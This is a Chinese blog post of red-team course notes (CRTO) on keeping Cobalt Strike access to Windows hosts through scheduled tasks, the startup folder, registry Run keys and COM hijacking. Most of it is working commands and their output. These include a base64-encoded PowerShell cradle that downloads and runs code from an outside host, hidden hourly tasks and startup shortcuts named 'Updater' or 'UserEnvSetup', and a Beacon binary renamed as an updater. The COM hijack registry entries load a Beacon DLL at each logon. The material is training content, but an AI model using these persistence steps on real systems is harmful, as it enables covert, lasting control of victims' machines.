【CRTO】主机持久化

news/2024/10/6 16:24:40 
一、概述二、计划任务三、启动文件夹四、注册表自动运行五、COM劫持

本章主要是通过计划任务、启动文件夹、注册表自动运行、COM劫持等方法进行持久化后门安装

一、概述

简单来说持久化就是开后门，目标机器重启或者漏洞修补后仍可以继续控制，比如通过钓鱼获得初始权限后，如果没做持久化Beacon 丢失可能就很难再次获得，安装持久化通常需要进行一些配置更改或将后门写入磁盘，一方面持久化具有很高的检测风险，另一方面在长期渗透中非常有用（实际上是必不可少的），因此需要在保持控制和被发现之间进行平衡

持久化可以在用户权限（例如以当前用户身份）或在提权后（例如 SYSTEM）执行。提权后的持久化要求我们首先成为主机上的本地管理员，如何提权将在接下来“特权提升”章节中介绍

常见的用户空间持久化方法包括：

1、HKCU/HKLM 注册表自动运行
2、计划任务
3、启动文件夹

Cobalt Strike 不包含任何专门用于持久化的内置命令

SharPersist是FireEye编写的 Windows 持久化工具包，它用 C# 编写，因此可以通过execute-assembly执行

二、计划任务

Windows 计划任务允许我们创建在预定触发器上执行的“任务”。该触发器可以是一天中的某个时间、用户登录时、计算机空闲时、计算机锁定时，或者上述情况的组合

例如创建一个计划任务，每小时执行一次 PowerShell 有效负载

为了避免在 IEX 命令中处理大量引号，可以将其编码为 base64，然后使用PowerShell 中的-EncodedCommand参数执行它（简写为-enc），注意必须使用 Unicode 编码（而不是 UTF8 或 ASCII），在 PowerShell 中：

PS C:\> $str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
PS C:\> [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

或在Linux中：

ubuntu@DESKTOP-3BSK7NO ~> set str 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
ubuntu@DESKTOP-3BSK7NO ~> echo -en $str | iconv -t UTF-16LE | base64 -w 0
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA

然后在Cobalt Strike客户端中执行

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly[*] INFO: Adding scheduled task persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: Scheduled Task Name: Updater
[*] INFO: Option: hourly
[+] SUCCESS: Scheduled task added

其中：

-t是所需的持久性技术
-c是需要执行的命令
-a是该命令的任何参数
-n是任务的名称
-m是参数add是添加任务（也可以remove、check和list）
-o是任务频率

登录Workstation 2机器，打开计划任务程序，在左侧菜单中选择任务计划程序库，可以看到新加的任务在主窗口中，可以等待一个小时，或者在该任务上点击右侧菜单中的运行，就会上线一个新的Beacon

三、启动文件夹

用户每次登录时，启动文件夹中的应用程序、文件和快捷方式会自动启动，通常用来引导用户的环境配置（设置壁纸、快捷方式等），可以通过Cobalt Strike客户端中执行

beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add[*] INFO: Adding startup folder persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: File Name: UserEnvSetup
[+] SUCCESS: Startup folder persistence created
[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk
[*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1F0DA3FF444D9B7244C41370B88061472933B2607A169BC

其中：

-f是要保存的文件名

登录Workstation 2 查看 C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ 中文件，注销后重新登录看效果

四、注册表自动运行

HKCU 和 HKLM 中的 AutoRun 值允许应用程序在开机时启动，通常这些值用于启动本机和第三方应用程序，例如软件更新程序、下载助手、驱动程序实用程序等

beacon> cd C:\ProgramData
beacon> upload C:\Payloads\http_x64.exe
beacon> mv http_x64.exe updater.exe
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence
[*] INFO: Command: C:\ProgramData\Updater.exe
[*] INFO: Command Args: /q /n
[*] INFO: Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[*] INFO: Registry Value: Updater
[*] INFO: Option: 
[+] SUCCESS: Registry persistence added

其中：

-k是需要修改的注册表项
-v是要创建的注册表项的名称

重启后测试效果

注意：

1、HKLM 自动运行并不是以 SYSTEM 身份执行有效负载

2、只有当配置单元的所有者登录到计算机时，HKCU 自动运行才会触发

3、当任何用户登录到计算机时，HKLM 自动运行都会触发，但它仍以用户帐户权限运行

五、COM劫持

尽量不要劫持正在使用的 COM 对象，这会破坏依赖它们的应用程序运行，可能暴露攻击行为

尽量找试图加载实际上不存在的对象（所谓的“废弃”键）的应用程序，这是一种更安全的策略

可以使用进程监视器（Sysinternals Suite工具之一），它可以显示实时文件系统、注册表和进程活动，在查找不同类型的特权升级方面非常有用，首先在自己的机器上寻找劫持，然后在实际目标上利用它们，在Attacker Desktop虚拟机上启动procmon64.exe

筛选如下操作：

1、RegOpenKey 操作
2、结果为NAME NOT FOUND
3、并且路径以InprocServer32结尾

为了加快收集速度，可以进行一些常规操作，比如单击任意内容、进入 Windows 菜单、启动应用程序等。大约一分钟有大约 500 个事件，其中大部分来自 Explorer，一些来自第三方软件，其他来自 OS 组件

需要注意的是特定 CLSID 的加载次数，如果劫持了一个每隔几秒加载一次的 CLSID，那要付出很大代价了

所以最好去寻找一个加载频率不高或在打开常用应用程序（Word、Excel、Outlook 等）时加载的 CLSID

通过滚动浏览，发现一个 CLSID 正在由C:\Windows\System32\DllHost.exe加载

HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32

使用 PowerShell 命令检测该条目确实存在于 HKLM 中，但不存在于 HKCU 中

PS C:\Users\Attacker> Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"Name                           Property
----                           --------
InprocServer32                 (default)      : C:\Windows\System32\thumbcache.dllThreadingModel : Apartment

PS C:\Users\Attacker> Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32' because it does not exist.

利用此漏洞，可在 HKCU 中创建必要的注册表项，并将其指向 Beacon DLL，比如直接将其指向C:\Payloads\http_x64.dll

PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\http_x64.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

当DllHost.exe加载此 COM 条目时，一个 Beacon上线

要清理 COM 劫持只需从 HKCU 中删除注册表项并删除 DLL即可

另一个寻找可劫持 COM 组件的方法是计划任务程序，许多默认的 Windows 任务实际上使用自定义触发器来调用 COM 对象，而不是直接在磁盘上执行二进制文件，由于它们是通过计划任务程序执行的，因此更容易预测它们何时会被触发。我们可以使用以下 PowerShell 来查找兼容的任务

$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks)
{if ($Task.Actions.ClassId -ne $null){if ($Task.Triggers.Enabled -eq $true){if ($Task.Principal.GroupId -eq "Users"){Write-Host "Task Name: " $Task.TaskNameWrite-Host "Task Path: " $Task.TaskPathWrite-Host "CLSID: " $Task.Actions.ClassIdWrite-Host}}}
}

这个脚本很简单，输出结果如下：

Task Name:  SystemSoundsService
Task Path:  \Microsoft\Windows\Multimedia\
CLSID:  {2DEA658F-54C1-4227-AF9B-260AB5FC3543}Task Name:  MsCtfMonitor
Task Path:  \Microsoft\Windows\TextServicesFramework\
CLSID:  {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}Task Name:  Calibration Loader
Task Path:  \Microsoft\Windows\WindowsColorSystem\
CLSID:  {B210D694-C8DF-490D-9576-9E20CDBC20BD}Task Name:  CacheTask
Task Path:  \Microsoft\Windows\Wininet\
CLSID:  {0358B920-0AC7-461F-98F4-58E32CD89148}

在计划任务程序中查看MsCtfMonitor 任务，可以看到它是在任何用户登录时触发，可以起到有效的重启持久化作用

在HKEY_CLASSES_ROOT\CLSID中查找 {01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} 项

PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\MsCtfMonitor.dllThreadingModel : Both

可以看到InprocServer32，并且可以验证它在 HKLM 而不是 HKCU 中

PS C:\> Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSizeName                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

现在只需在 HKCU 中添加一个指向我们的 DLL 的重复条目（如上所示），每次用户登录时都会加载

​#参考🔗
CRTO的介绍
https://mp.weixin.qq.com/s/j0gXVJCrAl6MsC9nZpPvbg

原创 红蓝精英

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.ryyt.cn/news/68356.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈，一经查实，立即删除！

相关文章

【CodeForces训练记录】Codeforces Round 977 (Div. 2, based on COMPFEST 16 - Final Round)

【CodeForces训练记录】Codeforces Round 977 (Div. 2, based on COMPFEST 16 - Final Round)

赛后反思 做红温了，太菜了，每题都需要WA几次才能过，B题看到 MEX 选择性害怕，时间复杂度又算错了 A题 每次选择一对 \(a_i,a_j\) 把均值插入数组最后面，要想结果最大，对于两个数求均值，最后的结果一定是小于等于其中的较大值，我们可以考虑如何最大化最后一次操作，想到将…
阅读更多...
傻逼模拟赛搬的时候能不能看看题面改之后还是不是让人能看懂还有不发 checker 是有什么心事吗

傻逼模拟赛搬的时候能不能看看题面改之后还是不是让人能看懂还有不发 checker 是有什么心事吗

如题。 傻逼模拟赛搬的时候能不能看看题面改之后还是不是让人能看懂还有不发 checker 是有什么心事吗还在最后一道题放集训队互测什么意思 什么叫有 \(b_{k}\) 种 \(k\) 类型的货币，同一种流通的货币不会超过二十种 什么叫接下来 \(n\) 个数表示 \(a_{1} \sim a_{n-1}\)upd：
阅读更多...
Java - 10 二维数据

Java - 10 二维数据

Java - 10 二维数据 一维数组的每个元素又是一个一维数组 静态初始化 int[][] arr = {{0,0,0,0},{1,1,1,1},{2,2,2,2},{3,3,3,3}};public class TwoDimensionArray {public static void main(String[] args) {int[][] arr = {{0,0,0,0},{1,1,1,1},{2,2,2,2},{3,3,3,3}};// 遍历…
阅读更多...
Java - 11 类与对象

Java - 11 类与对象

Java - 11 类与对象 类 类[属性, 行为] ->对象[属性, 行为] public class Test{public static void main(String[] args){Cat cat1 = new Cat(); // 创建对象cat1.name = "大宝";cat1.age = "3";cat1.color = "orange";System.out.println(ca…
阅读更多...
20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 在本周的学习过程中，我了解到了许多缓冲区溢出攻击的实际案例、缓冲区溢出攻击的原理和相关基础知识，包括GDB调试器的使用方法、反汇编、基础的汇编语言与指令等，重新温习了函数调用过程和进程管理方面的知识内容。并且通过实验一，我能够了解并熟练完成Linux系统…
阅读更多...
函数的上下文

函数的上下文

函数的上下文 概述 在函数体的语句中，会出现this这个词，this就是函数的上下文 函数中this是谁，就说明函数的上下文是谁 函数中的this是谁，要看是如何调用的，因为this不是一成不变的 比如我们看下面的例子 var obj = {a: 100,fun: function() {console.log(this.a);} };我们…
阅读更多...
拥挤聚集智能监测系统

拥挤聚集智能监测系统

拥挤聚集智能监测系统可以通过对人员数量、密度等进行实时监测，拥挤聚集智能监测系统识别出拥挤聚集的情况，并及时发出预警。拥挤聚集智能监测系统可以通过对人员进车间的人数等进行监测，识别出是否存在人员拥堵、挤压等安全隐患，及时发出警报，提醒工作人员采取措施疏散人…
阅读更多...
睡岗识别 AI助力企业安全管控

睡岗识别 AI助力企业安全管控

睡岗识别可以通过AI视频智能分析技术，睡岗识别识别出操作人员是否存在睡岗情况。例如，在变电站等场景中，睡岗识别技术可以通过对识别出操作人员是否存在睡岗情况，及时发出预警，避免因操作人员的疏忽而导致的安全事故。在工厂车间中，睡岗识别技术可以通过对工人的行为进行…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发 尧图建网站 尧图建网站 广利置业